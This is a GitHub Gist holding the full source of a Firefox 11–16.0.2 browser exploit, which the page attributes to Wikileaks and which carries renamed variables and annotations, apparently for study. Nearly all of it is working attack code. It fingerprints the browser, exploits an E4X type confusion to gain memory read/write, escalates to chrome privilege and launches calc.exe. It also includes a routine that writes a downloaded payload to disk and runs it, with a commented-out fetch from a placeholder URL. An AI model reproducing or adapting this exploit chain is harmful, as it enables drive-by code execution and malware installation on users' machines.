Last active
October 12, 2023 11:51
-
-
Save mistymntncop/0fb2d279e9a764d56d1784261d90c6ab to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type="text/javascript" src="utility.js"></script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//https://bugzilla.mozilla.org/show_bug.cgi?id=1346951 | |
//Kidicarus exploit from Wikileaks | |
//Effects Firefox versions 11 to 16.0.2 | |
//Variables renamed by @mistymntncop. Probably some mistakes. | |
//Exploit author: unknown | |
function do_throw(a) { | |
console.log("THROWN"); | |
console.log((new Error()).stack); | |
throw a; | |
} | |
var i = Array(1); | |
function Uint64(hi, lo) { | |
this.hi = hi; | |
this.lo = lo; | |
} | |
Uint64.prototype.toString = function (a) { | |
if (16 === a) { | |
if (0 === this.hi) return this.lo.toString(16); | |
for (a = this.lo.toString(16); 8 > a.length;) a = "0" + a; | |
return this.hi.toString(16) + a | |
} | |
do_throw(null) | |
}; | |
function Conversion() { | |
var arr = new ArrayBuffer(8); | |
this.u32_arr = new Uint32Array(arr); | |
this.f32_arr = new Float64Array(arr); | |
} | |
function u32_u32_to_f64(conv, lo, hi) { | |
conv.u32_arr[0] = lo; | |
conv.u32_arr[1] = hi; | |
var result = conv.f32_arr[0]; | |
return result; | |
} | |
function u64_to_f64(conv, val) { | |
return u32_u32_to_f64(conv, val % 0x100000000, Math.floor(val / 0x100000000)); | |
}; | |
function Constants(template, versions) { | |
var c; | |
if (versions !== undefined) { | |
for (var d in versions) { | |
if (versions.hasOwnProperty(d) && -1 != d.split(/, */).indexOf(platform.platform)) { | |
c = versions[d][platform.version]; | |
if (c !== undefined) | |
break; | |
} | |
} | |
if (c === undefined) { | |
do_throw(null); | |
} | |
} | |
for (var g in template) { | |
var d = template[g]; | |
if (template.hasOwnProperty(g) && "function" === typeof d) { | |
this[g] = d() | |
} else { | |
if ("number" === typeof d) { | |
if (c === undefined) { | |
do_throw(null) | |
} | |
if (c[d] === undefined) { | |
do_throw(null); | |
} | |
this[g] = c[d]; | |
} else { | |
do_throw(null) | |
} | |
} | |
} | |
}; | |
function Wtf() { | |
var params = this.constants(); | |
var element_size = params.element_size; | |
var size = params.size; | |
this.obj = {}; | |
this.obj.length = size / element_size; | |
this.obj.__defineGetter__("0", function () { | |
do_throw(0) | |
}); | |
this.identity = function (a) { | |
return a; | |
} | |
} | |
Wtf.prototype.mystery = function () { | |
try { | |
Array.prototype.map.call(this.obj, this.identity); | |
} catch (err) { } | |
try { | |
Array.prototype.map.call(this.obj, this.identity); | |
} catch (err) { } | |
}; | |
Wtf.prototype.constants = function () { | |
return new Constants({ | |
element_size: 0, | |
size: 1 | |
}, { | |
"Win32, Linux i686, Linux x86_64, MacIntel": { | |
"10.0": [8, 0x8000000], | |
"10.0.1": [8, 0x8000000], | |
"10.0.2": [8, 0x8000000], | |
"10.0.3": [8, 0x8000000], | |
"10.0.4": [8, 0x8000000], | |
"11.0": [8, 0x8000000], | |
"12.0": [8, 0x8000000], | |
"13.0": [8, 0x8000000], | |
"13.0.1": [8, 0x8000000], | |
"14.0.1": [8, 0x8000000], | |
"15.0": [8, 0x8000000], | |
"15.0.1": [8, 0x8000000], | |
"16.0": [8, 0x8000000], | |
"16.0.1": [8, 0x8000000], | |
"16.0.2": [8, 0x8000000] | |
} | |
}) | |
}; | |
function Memory(u32_arr1, u32_arr2) { | |
this.u32_arr1 = u32_arr1; | |
this.u32_arr2 = u32_arr2; | |
var params = this.constants(); | |
this.size_offset = params.size_offset; | |
this.addr_offset = params.addr_offset; | |
this.u32_arr2[this.size_offset / 4] = 0x40000000; | |
if (this.u32_arr1.length !== 0x40000000) { | |
do_throw(null) | |
} | |
} | |
Memory.prototype.constants = function () { | |
return new Constants({ | |
size_offset: 0, | |
addr_offset: 1 | |
}, { | |
"Win32, Linux i686": { | |
"10.0": [40, 24], | |
"10.0.1": [40, 24], | |
"10.0.2": [40, 24], | |
"10.0.3": [40, 24], | |
"10.0.4": [40, 24], | |
"11.0": [16, 72], | |
"12.0": [16, 72], | |
"13.0": [16, 72], | |
"13.0.1": [16, 72], | |
"14.0.1": [16, 72], | |
"15.0": [16, 72], | |
"15.0.1": [16, 72], | |
"16.0": [16, 72], | |
"16.0.1": [16, 72], | |
"16.0.2": [16, 72] | |
}, | |
"Linux x86_64, MacIntel": { | |
"11.0": [32, 88], | |
"12.0": [32, 88], | |
"13.0": [32, 88], | |
"13.0.1": [32, 88], | |
"14.0.1": [32, 88], | |
"15.0": [32, 88], | |
"15.0.1": [32, 88], | |
"16.0": [32, 88], | |
"16.0.1": [32, 88], | |
"16.0.2": [32, 88] | |
} | |
}) | |
}; | |
Memory.prototype.read_u32 = function (addr) { | |
set_u32_arr1_addr(this, addr); | |
return this.u32_arr1[0]; | |
}; | |
function set_u32_arr1_addr(mem, addr) { | |
if (!platform.x64) { | |
mem.u32_arr2[mem.addr_offset / 4] = addr; | |
} else { | |
mem.u32_arr2[mem.addr_offset / 4] = addr % 0x100000000; | |
mem.u32_arr2[mem.addr_offset / 4 + 1] = Math.floor(addr / 0x100000000); | |
} | |
} | |
function read(mem, addr) { | |
set_u32_arr1_addr(mem, addr); | |
return !platform.x64 ? | |
mem.u32_arr1[0] : | |
mem.u32_arr1[0] + 0x100000000 * mem.u32_arr1[1]; | |
} | |
function write(mem, addr, val) { | |
set_u32_arr1_addr(mem, addr); | |
if (!platform.x64) { | |
mem.u32_arr1[0] = val; | |
} else { | |
mem.u32_arr1[0] = val % 0x100000000; | |
mem.u32_arr1[1] = Math.floor(val / 0x100000000); | |
} | |
} | |
function ObjTools(mem, arr, slot_index, slots_addr) { | |
this.memory = mem; | |
this.arr = arr; | |
this.slot_index = slot_index; | |
this.slots_addr = slots_addr; | |
} | |
ObjTools.prototype.addr_of = function (obj) { | |
this.arr[this.slot_index] = obj; | |
if (!platform.x64) { | |
return this.memory.read_u32(this.slots_addr); | |
} | |
var mem = this.memory; | |
set_u32_arr1_addr(mem, this.slots_addr); | |
var u64 = new Uint64(mem.u32_arr1[1], mem.u32_arr1[0]); | |
return 0x100000000 * (u64.hi & 0x7FFF) + u64.lo; | |
}; | |
function PrimitiveObjects(a) { | |
this.n = a; | |
var params = this.constants(); | |
this.k = params.k; | |
this.slot_size = params.slot_size; | |
this.I = params.I; | |
this.extensible_flag = params.extensible_flag; | |
this.rope_flag = params.rope_flag; | |
this.backing_offset = params.backing_offset; | |
var arr = Array(14); | |
for (var i = 0; i < 14; i++) { | |
arr[i] = null; | |
} | |
this.arr = arr; | |
this.slots_addr = null; | |
this.u32_arr1 = new Uint32Array(1024); | |
this.u32_arr2 = new Uint32Array(1024); | |
this.c = new Conversion(); | |
} | |
PrimitiveObjects.prototype.constants = function () { | |
return new Constants({ | |
k: 0, | |
slot_size: 1, | |
I: 2, | |
extensible_flag: 3, //extensible_flag | |
rope_flag: 4, //rope_flag | |
backing_offset: 5 | |
}, { | |
"Win32, Linux i686": { | |
"10.0": [40, 8, 0, 12, 1, 24], | |
"11.0": [16, 8, 16, 12, 1, 72], | |
"12.0": [16, 8, 16, 12, 1, 72], | |
"13.0": [16, 8, 16, 12, 1, 72], | |
"13.0.1": [16, 8, 16, 12, 1, 72], | |
"14.0.1": [16, 8, 16, 4, 1, 72], | |
"15.0": [16, 8, 16, 4, 1, 72], | |
"15.0.1": [16, 8, 16, 4, 1, 72], | |
"16.0": [16, 8, 16, 4, 1, 72], | |
"16.0.1": [16, 8, 16, 4, 1, 72], | |
"16.0.2": [16, 8, 16, 4, 1, 72] | |
}, | |
"Linux x86_64, MacIntel": { | |
"11.0": [32, 8, 16, 12, 1, 88], | |
"12.0": [32, 8, 16, 12, 1, 88], | |
"13.0": [32, 8, 16, 12, 1, 88], | |
"13.0.1": [32, 8, 16, 12, 1, 88], | |
"14.0.1": [32, 8, 16, 4, 1, 88], | |
"15.0": [32, 8, 16, 4, 1, 88], | |
"15.0.1": [32, 8, 16, 4, 1, 88], | |
"16.0": [32, 8, 16, 4, 1, 88], | |
"16.0.1": [32, 8, 16, 4, 1, 88], | |
"16.0.2": [32, 8, 16, 4, 1, 88] | |
} | |
}) | |
}; | |
//https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/vm/String.h#l170 | |
//https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/jsstr.cpp | |
//https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/vm/String.cpp#l237 | |
function memcpy(a, dest_addr, src_addr, size) { | |
//build fake JSString structures | |
const LENGTH_SHIFT = 4; | |
var rope_addr; | |
size /= 2; | |
if (!platform.x64) { | |
var left_size = 0; | |
var left_capacity = size; | |
var left_addr = a.slots_addr + 0 * a.slot_size; | |
var left_len_and_flags = left_size << LENGTH_SHIFT | a.extensible_flag; | |
a.arr[0] = u32_u32_to_f64(a.c, left_len_and_flags, dest_addr); | |
a.arr[1] = u32_u32_to_f64(a.c, left_capacity, 0); | |
var right_addr = a.slots_addr + 2 * a.slot_size; | |
var right_len_and_flags = size << LENGTH_SHIFT; | |
a.arr[2] = u32_u32_to_f64(a.c, right_len_and_flags, src_addr); | |
a.arr[3] = u32_u32_to_f64(a.c, 0, 0); | |
var rope_flags = size << LENGTH_SHIFT | a.rope_flag; | |
rope_addr = a.slots_addr + 4 * a.slot_size; | |
a.arr[4] = u32_u32_to_f64(a.c, rope_flags, left_addr); | |
a.arr[5] = u32_u32_to_f64(a.c, right_addr, 0) | |
} else { | |
var left_size = 0; | |
var left_capacity = size; | |
var left_addr = a.slots_addr + 0 * a.slot_size; | |
var left_len_and_flags = left_size << LENGTH_SHIFT | a.extensible_flag; | |
a.arr[0] = u64_to_f64(a.c, left_len_and_flags); | |
a.arr[1] = u64_to_f64(a.c, dest_addr); | |
a.arr[2] = u64_to_f64(a.c, left_capacity); | |
a.arr[3] = u64_to_f64(a.c, 0); | |
var right_addr = a.slots_addr + 4 * a.slot_size; | |
var right_len_and_flags = size << LENGTH_SHIFT; | |
a.arr[4] = u64_to_f64(a.c, right_len_and_flags); | |
a.arr[5] = u64_to_f64(a.c, src_addr); | |
a.arr[6] = u64_to_f64(a.c, 0); | |
a.arr[7] = u64_to_f64(a.c, 0); | |
var rope_flags = size << LENGTH_SHIFT | a.rope_flag; | |
rope_addr = a.slots_addr + 8 * a.slot_size; | |
a.arr[8] = u64_to_f64(a.c, rope_flags); | |
a.arr[9] = u64_to_f64(a.c, left_addr); | |
a.arr[10] = u64_to_f64(a.c, right_addr); | |
a.arr[11] = u64_to_f64(a.c, 0); | |
} | |
var fake_str = fake_jsstr(a.n, rope_addr); | |
//i[0] = "x".replace("a", fake_str) === null; | |
"x".replace("a", fake_str); | |
} | |
function install_primitives(prims) { | |
var arr_addr = weak_addr_of(prims.n, prims.arr); | |
prims.slots_addr = arr_addr + prims.k + prims.I; | |
var u32_arr1_addr = weak_addr_of(prims.n, prims.u32_arr1); | |
var u32_arr2_addr = weak_addr_of(prims.n, prims.u32_arr2); | |
var dest_addr = u32_arr2_addr + prims.backing_offset; | |
var src_addr = prims.slots_addr + 12 * prims.slot_size; | |
if (!platform.x64) { | |
prims.arr[12] = u32_u32_to_f64(prims.c, u32_arr1_addr, 0); | |
memcpy(prims, dest_addr, src_addr, 4); | |
} else { | |
prims.arr[12] = u64_to_f64(prims.c, u32_arr1_addr); | |
memcpy(prims, dest_addr, src_addr, 6); | |
} | |
var mem = new Memory(prims.u32_arr1, prims.u32_arr2); | |
var obj_tools = new ObjTools(mem, prims.arr, 0, prims.slots_addr); | |
prims.n.memory = mem; | |
prims.n.obj_tools = obj_tools; | |
} | |
function PrivEsc(mem, obj_tools) { | |
this.memory = mem; | |
this.obj_tools = obj_tools; | |
var params = this.constants(); | |
this.A = params.A; | |
this.B = params.B; | |
this.D = params.D; | |
this.C = params.C; | |
this.o = params.o; | |
} | |
PrivEsc.prototype.run_priv_func = function (func) { | |
var obj_addr = this.obj_tools.addr_of({}); | |
var addr1 = 0x1000 * Math.floor(obj_addr / 0x1000) + this.A; | |
var addr2 = read(this.memory, addr1) + this.B; | |
var addr3 = read(this.memory, addr2) + this.D; | |
var token = read(this.memory, addr3); | |
var func_addr = this.obj_tools.addr_of(func); | |
var func_what_addr = read(this.memory, func_addr + this.C); | |
var func_target_addr = func_what_addr + this.o; | |
var original_val = read(this.memory, func_target_addr); | |
write(this.memory, func_target_addr, token); | |
try { | |
func(); | |
} finally { | |
write(this.memory, func_target_addr, original_val); | |
} | |
}; | |
PrivEsc.prototype.constants = function () { | |
return new Constants({ | |
A: 0, | |
B: 1, | |
D: 2, | |
C: 3, | |
o: 4 | |
}, { | |
Win32: { | |
"10.0": [0, 0, 145076, 60, 76], | |
"11.0": [0, 0, 132368, 20, 72], | |
"12.0": [0, 0, 214404, 20, 72], | |
"13.0": [0, 0, 92668, 20, 72], | |
"13.0.1": [0, 0, 92668, 20, 72], | |
"14.0.1": [0, 0, 84668, 20, 28], | |
"15.0": [0, 0, 92480, 20, 28], | |
"15.0.1": [0, 0, 92480, 20, 28], | |
"16.0": [0, 0, 92368, 20, 28], | |
"16.0.1": [0, 0, 92368, 20, 28], | |
"16.0.2": [0, 0, 92368, 20, 28] | |
}, | |
"Linux i686": { | |
"11.0": [0, 0, 132332, 20, 72], | |
"12.0": [0, 0, 214460, 20, 72], | |
"13.0": [0, 0, 92700, 20, 72], | |
"13.0.1": [0, 0, 92700, 20, 72], | |
"14.0.1": [0, 0, 84704, 20, 28], | |
"15.0": [0, 0, 92528, 20, 28], | |
"15.0.1": [0, 0, 92528, 20, 28], | |
"16.0": [0, 0, 92416, 20, 28], | |
"16.0.1": [0, 0, 92416, 20, 28], | |
"16.0.2": [0, 0, 92416, 20, 28] | |
}, | |
"Linux x86_64": { | |
"11.0": [0, 0, 264144, 40, 104], | |
"12.0": [0, 0, 428288, 40, 104], | |
"13.0": [0, 0, 175496, 40, 104], | |
"13.0.1": [0, 0, 175496, 40, 104], | |
"14.0.1": [0, 0, 167376, 40, 48], | |
"15.0": [0, 0, 177696, 40, 48], | |
"15.0.1": [0, 0, 177696, 40, 48], | |
"16.0": [0, 0, 177360, 40, 48], | |
"16.0.1": [0, 0, 177360, 40, 48], | |
"16.0.2": [0, 0, 177360, 40, 48] | |
}, | |
MacIntel: { | |
"11.0": [0, 0, 264144, 40, 104], | |
"12.0": [0, 0, 428240, 40, 104], | |
"13.0": [0, 0, 175448, 40, 104], | |
"13.0.1": [0, 0, 175448, 40, 104], | |
"14.0.1": [0, 0, 167328, 40, 48], | |
"15.0": [0, 0, 177648, 40, 48], | |
"15.0.1": [0, 0, 177648, 40, 48], | |
"16.0": [0, 0, 177312, 40, 48], | |
"16.0.1": [0, 0, 177312, 40, 48], | |
"16.0.2": [0, 0, 177312, 40, 48] | |
} | |
}) | |
}; | |
// Requires chrome privilege to be able to function. | |
// | |
// saves the payload downloaded in platform.content, then launches a platform | |
// dependent command. Both the command and the file path look like they | |
// are intended to be replaced prior to deployment. | |
function run_payload() { | |
// First check the platform and store appropriate shell command | |
// (++foo++ are replaced before deployment) | |
var cmd_path; | |
if ("Win32" === platform.platform || "Win64" === platform.platform) { | |
cmd_path = "++Win++"; | |
} else if (platform.platform.indexOf("Linux ") == 0) { | |
cmd_path = "++Linux++"; | |
} else if ("MacIntel" == platform.platform) { | |
cmd_path = "++MacIntel++"; | |
} else { | |
do_throw(null); | |
} | |
try { | |
// Store platform.content in a local file "++Path++" | |
// Must be privileged code! | |
window.netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); | |
var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); | |
file.initWithPath("++Path++"); | |
if(!file.exists()) { | |
file.create(0, 493); // 493 == 0755 | |
} | |
var c = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream); | |
c.init(file, 34, 4, null); | |
var d = Components.classes["@mozilla.org/binaryoutputstream;1"].createInstance(Components.interfaces.nsIBinaryOutputStream); | |
d.setOutputStream(c); | |
d.writeByteArray(platform.content, platform.content.byteLength); | |
d.close(); | |
c.close() | |
} catch (g) { | |
alert("Exception while attempting to save\n\n" + g) | |
} | |
try { | |
var args = []; | |
var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); | |
file.initWithPath(cmd_path); | |
var proc = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); | |
proc.init(file); | |
proc.run(false, args, args.length) | |
} catch (H) { } | |
} | |
function run_calc() { | |
try { | |
var exe_path = "C:\\\\Windows\\\\System32\\\\calc.exe"; | |
var args = []; | |
var file = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFileWin); | |
file.initWithPath(exe_path); | |
var proc = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); | |
proc.init(file); | |
proc.run(false, args, args.length); | |
} catch(err) { | |
console.log(err); | |
} | |
} | |
//https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/jsxml.cpp | |
//https://hg.mozilla.org/mozilla-central/file/a917bd8e3f8e5b104fc36f8c5ea729a6adb7b4eb/js/src/jsxml.h | |
function Exploit() { | |
if(platform.browser !== "Firefox") { | |
do_throw(null); | |
} | |
var params = this.constants(); | |
this.jsxml_size = params.jsxml_size; | |
this.obj_offset = params.obj_offset; | |
this.class_offset = params.class_offset; | |
this.G = params.G; | |
this.str_offset = params.str_offset; | |
this.k = params.k; | |
this.shape_offset = params.shape_offset; | |
this.d = params.d; | |
this.JSXML_CLASS_TEXT = params.JSXML_CLASS_TEXT; | |
this.wtf = new Wtf(); | |
} | |
Exploit.prototype.constants = function () { | |
return new Constants({ | |
jsxml_size: 0, | |
obj_offset: 1, //JSXML.object | |
class_offset: 2, //JSXML.xml_class | |
G: 3, | |
str_offset: 4, //JSXML.value | |
k: 5, | |
shape_offset: 6, //JSObject.shapeOrExpando_ | |
d: 7, | |
JSXML_CLASS_TEXT: 8 | |
}, { | |
"Win32, Linux i686": { | |
"11.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], | |
"12.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], | |
"13.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], | |
"13.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4], | |
"14.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4], | |
"15.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], | |
"15.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4], | |
"16.0": [104, 0, 16, 24, 96, 16, 4, 8, 4], | |
"16.0.1": [104, 0, 16, 24, 96, 16, 4, 8, 4], | |
"16.0.2": [104, 0, 16, 24, 96, 16, 4, 8, 4] | |
}, | |
"Linux x86_64, MacIntel": { | |
"11.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], | |
"12.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], | |
"13.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], | |
"13.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4], | |
"14.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4], | |
"15.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], | |
"15.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4], | |
"16.0": [160, 0, 32, 40, 152, 32, 8, 8, 4], | |
"16.0.1": [160, 0, 32, 40, 152, 32, 8, 8, 4], | |
"16.0.2": [160, 0, 32, 40, 152, 32, 8, 8, 4] | |
} | |
}) | |
}; | |
// Namespace and QName are obsolete E4X things | |
//JSObject::getGeneric | |
//GetXMLFunction | |
//GetProperty | |
//xml_child_helper | |
//xml_child | |
function jsxml_type_confusion(a) { | |
String.prototype.rozG1zraWgFLF = a.fake_jsxml.u32_arr; | |
var namespace = new Namespace("@mozilla.org/js/function"); | |
var name = new QName(namespace, "rozG1zraWgFLF"); | |
var xml_list = XMLList("<a/>"); | |
//a.wtf.mystery(); //wtf the exploit seems to work without this | |
a.children = xml_list.child(name); | |
a.child = a.children[0]; | |
} | |
function fake_jsstr(a, addr) { | |
a.fake_jsxml.set_str_addr(addr); | |
return a.child.toString(); | |
} | |
// Namespace and QName are obsolete E4X things | |
function weak_addr_of(a, obj) { | |
var owner_obj_addr = a.fake_jsxml.leak_obj_addr(); | |
var namespace = new Namespace("@mozilla.org/js/function"); | |
//first property fills in the inline slot | |
var name1 = new QName(namespace, "aa5raHsuPNLHA1"); | |
a.child[name1] = 0x1337; //null; | |
//subsequent properties get stored in the external slots | |
var name2 = new QName(namespace, "aa5raHsuPNLHA2"); | |
a.child[name2] = obj; | |
//Create a fake JSString where the lengthAndFlags field overlaps with the | |
//JSObject's shapeOrExpando_ field (gauranteed to be large as it is a pointer) | |
//The fake JSString's chars slots_ field overlaps with the JSObject's slots_ | |
//field. This allows us to read the slots_ values via reading the fake string. | |
var str = fake_jsstr(a, owner_obj_addr + a.shape_offset); | |
return !platform.x64 ? | |
str.charCodeAt(0) + 0x10000 * str.charCodeAt(1) : | |
str.charCodeAt(0) + 0x10000 * str.charCodeAt(1) + 0x100000000 * (str.charCodeAt(2) & 0x7FFF); | |
} | |
function exploit(a) { | |
a.fake_jsxml = new function () { | |
this.u32_arr = new Uint32Array(a.jsxml_size); | |
if (!platform.x64) { | |
this.u32_arr[a.obj_offset / 4] = 0; | |
this.u32_arr[a.class_offset / 4] = a.JSXML_CLASS_TEXT; | |
} else { | |
this.u32_arr[a.obj_offset / 4] = 0; | |
this.u32_arr[a.obj_offset / 4 + 1] = 0; | |
this.u32_arr[a.class_offset / 4] = a.JSXML_CLASS_TEXT; | |
this.u32_arr[a.class_offset / 4 + 1] = 0; | |
} | |
this.leak_obj_addr = function () { | |
return !platform.x64 ? | |
this.u32_arr[a.obj_offset / 4] : | |
this.u32_arr[a.obj_offset / 4] + this.u32_arr[a.obj_offset / 4 + 1] * 0x100000000; | |
}; | |
this.set_str_addr = function (val) { | |
if (!platform.x64) { | |
this.u32_arr[a.str_offset / 4] = val; | |
} else { | |
this.u32_arr[a.str_offset / 4] = val % 0x100000000; | |
this.u32_arr[a.str_offset / 4 + 1] = val / 0x100000000; | |
} | |
} | |
}; | |
jsxml_type_confusion(a); | |
install_primitives(new PrimitiveObjects(a)); | |
//cleanup | |
var b = a.k + 1 * a.d; | |
write(a.memory, read(a.memory, a.obj_tools.addr_of(a.children) + b) + a.G, 0); | |
write(a.memory, a.obj_tools.addr_of(a.child) + b, 0); | |
a.children = null; | |
a.child = null; | |
} | |
//Fingerprinting | |
var platform = new function () { | |
var is_firefox = false; | |
if (typeof window !== undefined && typeof window.navigator !== undefined) { | |
var navigator = window.navigator; | |
is_firefox = !("Netscape" !== navigator.appName || | |
"Mozilla" !== navigator.appCodeName || | |
"Gecko" !== navigator.product || | |
-1 === navigator.userAgent.indexOf("Firefox")); | |
} | |
if(!is_firefox) { | |
do_throw(null); | |
} | |
this.browser = "Firefox"; | |
this.userAgent = window.navigator.userAgent; | |
var found = /Firefox\/((\d+)\.\d+(\.\d+)?)/.exec(this.userAgent); | |
if (found === null) { | |
do_throw(null); | |
} | |
this.version = found[1]; | |
this.platform = window.navigator.platform; | |
if ("Win32" === this.platform || "Linux i686" === this.platform) { | |
this.x64 = false; | |
} else if ("Win64" === this.platform || "Linux x86_64" === this.platform) { | |
this.x64 = true; | |
} else if ("MacIntel" === this.platform) { | |
this.x64 = true; | |
} else { | |
do_throw(null); | |
} | |
if (this.userAgent.indexOf("; WOW64;") != -1 && this.x64) { | |
do_throw(null); | |
} | |
}; | |
// Download data and put it in platform.content | |
/*(function () { | |
var req = new XMLHttpRequest; | |
req.onload = function () { | |
platform.content = new Uint8Array(req.response); | |
return req.response | |
}; | |
req.open("GET", "++REQUEST_URL++", true); | |
req.responseType = "arraybuffer"; | |
req.send() | |
})();*/ | |
function pwn() { | |
try { | |
var a = new Exploit(); | |
exploit(a); | |
var priv_esc = new PrivEsc(a.memory, a.obj_tools); | |
//priv_esc.run_priv_func(run_payload); | |
priv_esc.run_priv_func(run_calc); | |
} catch (b) { } | |
} | |
pwn(); | |
//setTimeout(pwn, 2E3); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment